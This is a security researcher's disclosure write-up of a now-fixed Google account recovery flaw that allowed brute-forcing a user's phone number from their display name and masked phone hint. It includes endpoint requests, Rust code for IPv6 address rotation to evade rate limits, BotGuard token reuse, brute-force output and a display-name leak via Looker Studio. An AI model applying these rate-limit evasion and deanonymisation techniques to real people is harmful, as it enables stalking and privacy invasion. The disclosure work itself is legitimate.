Bruteforcing the phone number of any Google user

Bruteforcing the phone number of any Google user
2025-06-09
A few months ago, I disabled javascript on my browser while testing if there were any Google services left that still worked without JS in the modern web. Interestingly enough, the username recovery form still worked!
This surprised me, as I used to think these account recovery forms required javascript since 2018 as they relied on botguard solutions generated from heavily obfuscated proof-of-work javascript code for anti-abuse.
A deeper look into the endpoints
The username recovery form seemed to allow you to check if a recovery email or phone number was associated with a specific display name. This required 2 HTTP requests:
Request
POST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
The cookie and gxf values are from the initial page HTML
Response
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/name?ess=....&hl=en
This gave us a ess
value tied to that phone number we can use for the next HTTP request.
Request
POST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin: https://accounts.google.com
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
challengeId=0&challengeType=28&ess=&bgresponse=js_disabled&GivenName=john&FamilyName=smith
This request allows us to check if a Google account exists with that phone number as well as the display name "John Smith"
.
Response (no account found)
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...
Response (account found)
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...
Can we even brute this?
My first attempts were futile. It seemed to ratelimit your IP address after a few requests and present a captcha.
Perhaps we could use proxies to get around this? If we take Netherlands as an example, the forgot password flow provides us with the phone hint •• ••••••03
For Netherlands mobile numbers, they always start with 06
, meaning there's 6 digits we'd have to brute. 10**6 = 1,000,000 numbers. That might be doable with proxies, but there had to be a better way.
What about IPv6?
Most service providers like Vultr provide /64 ip ranges, which provide us with 18,446,744,073,709,551,616 addresses. In theory, we could use IPv6 and rotate the IP address we use for every request, bypassing this ratelimit.
The HTTP server also seemed to support IPv6:
~ $ curl -6 https://accounts.google.com
<HTML>
<HEAD>
<TITLE>Moved TemporarilyTITLE>
HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved TemporarilyH1>
The document has moved <A HREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">hereA>.
BODY>
HTML>
To test this out, I routed my IPv6 range through my network interface and I started work on gpb, using reqwest's local_address method on its ClientBuilder
to set my IP address to a random IP on my subnet:
pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
let (ipv6, prefix_len) = match subnet.parse::() {
Ok(cidr) => {
let ipv6 = cidr.first_address();
let length = cidr.network_length();
(ipv6, length)
}
Err(_) => {
panic!("invalid IPv6 subnet");
}
};
let ipv6_u128: u128 = u128::from(ipv6);
let rand: u128 = random();
let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
let host_part = (rand << prefix_len) >> prefix_len;
let result = net_part | host_part;
IpAddr::V6(Ipv6Addr::from(result))
}
pub fn create_client(subnet: &str, user_agent: &str) -> Client {
let ip = get_rand_ipv6(subnet);
Client::builder()
.redirect(redirect::Policy::none())
.danger_accept_invalid_certs(true)
.user_agent(user_agent)
.local_address(Some(ip))
.build().unwrap()
}
Eventually, I had a PoC running, but I was still getting the captcha? It seemed that for whatever reason, datacenter IP addresses using the JS disabled form were always presented with a captcha, damn!
Using the BotGuard token from the JS form
I was looking through the 2 requests again, seeing if there was anything I could find to get around this, and bgresponse=js_disabled
caught my eye. I remembered that on the JS-enabled account recovery form, the botguard token was passed via the bgRequest parameter.
What if I replace js_disabled
with the botguard token from the JS-enabled form request? I tested it out, and it worked??. The botguard token seemed to have no request limit on the No-JS form, but who are all these random people?
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703
It took me a bit to realize this, but those were all people who had the Google account name "Henry" with no last name set, as well as a phone with the last 2 digits 03. For those numbers, it would return usernamerecovery/challenge
for the first name Henry and any last name.
I added some extra code to validate a possible hit with the first name, and a random last name like 0fasfk1AFko1wf
. If it still claimed it was a hit, it would be filtered out, and there we go:
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.
In practise, it's unlikely to get more than one hit as it's uncommon for another Google user to have the same full display name, last 2 digits as well as country code.
A few things to sort out
We have a basic PoC working, but there's still some issues we have to address.
How do we know which country code a victim's phone is?
Interestingly enough, it's possible for us to figure out the country code based off of the phone mask that the forgot password flow provides us. Google actually just uses libphonenumbers's "national format" for each number.
Here's some examples:
{
...
"• (•••) •••-••-••": [
"ru"
],
"•• ••••••••": [
"nl"
],
"••••• ••••••": [
"gb"
],
"(•••) •••-••••": [
"us"
]
}
I wrote a script that collected the masked national format for all countries as mask.json
How do we get the victim's Google account display name?
Initially in 2023, Google changed their policy to only show names if there was direct interaction from the target to you (emails, shared docs, etc.), so they slowly removed names from endpoints. By April 2024, they updated their internal FocusBackend
service to completely stop returning display names for unauthenticated accounts, removing display names almost everywhere.
It was going to be tricky to find a display name leak after all that, but eventually after looking through random Google products, I found out that I could create a Looker Studio document, transfer ownership of it to the victim, and the victim's display name would leak on the home page, with 0 interaction required from the victim:
Optimizing it further
By using libphonenumbers's number validation, I was able to generate a format.json with mobile phone prefix, known area codes and digits count for every country.
...
"nl": {
"code": "31",
"area_codes": ["61", "62", "63", "64", "65", "68"],
"digits": [7]
},
...
I also implemented real-time libphonenumber validation to reduce queries to Google's API for invalid numbers. For the botguard token, I wrote a Go script using chromedp that lets you generate BotGuard tokens with just a simple API call:
$ curl http://localhost:7912/api/generate_bgtoken
{
"bgToken": ""
}
Putting it all together
We basically have the full attack chain, we just have to put it together.
- Leak the Google account display name via Looker Studio
- Go through forgot password flow for that email and get the masked phone
- Run the
gpb
program with the display name and masked phone to bruteforce the phone number -
Time required to brute the number
Using a $0.30/hour server with consumer-grade specs (16 vcpu), I'm able to achieve ~40k checks per second.
With just the last 2 digits from the Forgot Password flow phone hint:
Country code | Time required |
---|---|
United States (+1) | 20 mins |
United Kingdom (+44) | 4 mins |
Netherlands (+31) | 15 secs |
Singapore (+65) | 5 secs |
This time can also be significantly reduced through phone number hints from password reset flows in other services such as PayPal, which provide several more digits (ex. +14•••••1779
)
Timeline
- 2025-04-14 - Report sent to vendor
- 2025-04-15 - Vendor triaged report
- 2025-04-25 - 🎉 Nice catch!
- 2025-05-15 - Panel awards $1,337 + swag. Rationale: Exploitation likelihood is low. (lol)
- Issue qualified as an abuse-related methodology with high impact.
- 2025-05-15 - Appeal reward reason: As per the Abuse VRP table, probability/exploitability is decided based on pre-requisites required for this attack and whether the victim can discover exploitation. For this attack, there are no pre-requisites and it cannot be discovered by the victim.
- 2025-05-22 - Panel awards an additional $3,663. Rationale: Thanks for your feedback on our initial reward. We took your points into consideration and discussed at some length. We're happy to share that we've upgraded likelihood to medium and adjusted the reward to a total of $5,000 (plus the swag code we've already sent). Thanks for the report, and we look forward to your next one.
- 2025-05-22 - Vendor confirms they have rolled out inflight mitigations while endpoint deprecation rolls out worldwide.
- 2025-05-22 - Coordinates disclosure with vendor for 2025-06-09
- 2025-06-06 - Vendor confirms that the No-JS username recovery form has been fully deprecated
- 2025-06-09 - Report disclosed
What's Your Reaction?






